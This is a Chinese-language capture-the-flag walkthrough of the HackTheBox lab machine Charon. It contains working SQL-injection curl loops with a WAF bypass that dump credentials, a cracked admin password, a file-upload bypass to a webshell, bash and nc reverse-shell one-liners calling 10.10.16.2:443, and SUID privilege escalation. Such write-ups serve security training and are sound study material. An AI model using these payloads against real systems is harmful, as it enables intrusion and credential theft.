HTB:CHARON渗透测试
字数 1206 2025-08-12 11:34:14
HTB: Charon 渗透测试教学文档
靶机概述
- 靶机名称: Charon
- 难度等级: 中级(3.5/10)
- 发布日期: 2017年10月7日
- 特点: 不需要高级技术,但每个步骤都需要巧妙技巧
初始信息收集
1. 端口扫描
使用nmap扫描发现开放服务:
- OpenSSH
- Apache (HTTP服务)
2. 目录扫描
使用gobuster进行目录扫描:
gobuster dir -u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
发现重要目录:
/cmsdata- 包含登录界面
漏洞利用
3. SQL注入漏洞
发现注入点
- 在忘记密码功能(
/cmsdata/forgot.php)发现SQL注入 - 输入
'导致报错,输入"提示找不到email
绕过WAF
- 发现WAF拦截UNION SELECT语句
- 解决方案: 使用大写字母
UNIoN SELECT绕过
枚举数据库信息
使用脚本枚举数据库:
for i in {0..100}; do
curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break;
done | cut -d'>' -f2
获取管理员凭据
使用联合查询获取用户名和密码:
for i in $(seq 0 300); do
payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done
获取到:
- 用户名:
super_cms_adm - 密码哈希:
0b0689ba94f94533400f4decd87fa260(MD5)
4. 密码破解
使用MD5解密工具破解出明文密码:
- 哈希:
0b0689ba94f94533400f4decd87fa260→superpassword - 哈希:
5f4dcc3b5aa765d61d8327deb8→password
文件上传漏洞利用
5. 初始上传测试
- 直接上传.php文件被拦截
- 尝试.php.jpg格式可上传但无法解析
6. 绕过上传限制
发现上传响应中包含base64编码字段,分析后发现:
-
修改前端代码绕过:
- 将name属性改为
testfile1 - 上传
.php.jpg格式文件
- 将name属性改为
-
成功上传webshell后执行命令:
bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261
或使用nc反弹shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f
权限提升
7. 获取用户权限
- 在
/home/decoder目录发现两个密钥文件 - 使用nc下载密钥文件到本地
8. 破解RSA密钥
使用RsaCtfTool进行暴力破解:
# 安装依赖
sudo apt install libmpc-dev libgmp3-dev sagemath
pip3 install -r requirements.txt
# 使用工具破解
python3 RsaCtfTool.py --key private.key --uncipher cipher.bin
成功解密后获取SSH登录凭据
9. SSH登录获取user flag
使用破解的凭据通过SSH登录获取第一个flag
10. 提权至root
查找SUID文件:
find / -perm -4000 -ls 2>/dev/null
发现可利用的supershell程序,使用它读取root.txt获取第二个flag
总结与关键技术点
-
SQL注入技巧:
- 使用UNION SELECT大写绕过WAF
- 使用LIMIT和OFFSET枚举数据
- 使用GROUP_CONCAT合并查询结果
-
文件上传绕过:
- 修改前端代码绕过限制
- 分析服务器响应寻找突破口
-
权限提升路径:
- 查找和利用SUID文件
- 使用专用工具破解加密密钥
-
反弹shell方法:
- 多种反弹shell命令适应不同环境
- 使用nc建立稳定连接
建议在实际测试中注意每个步骤的细节,特别是WAF绕过和文件上传限制的多种绕过方法。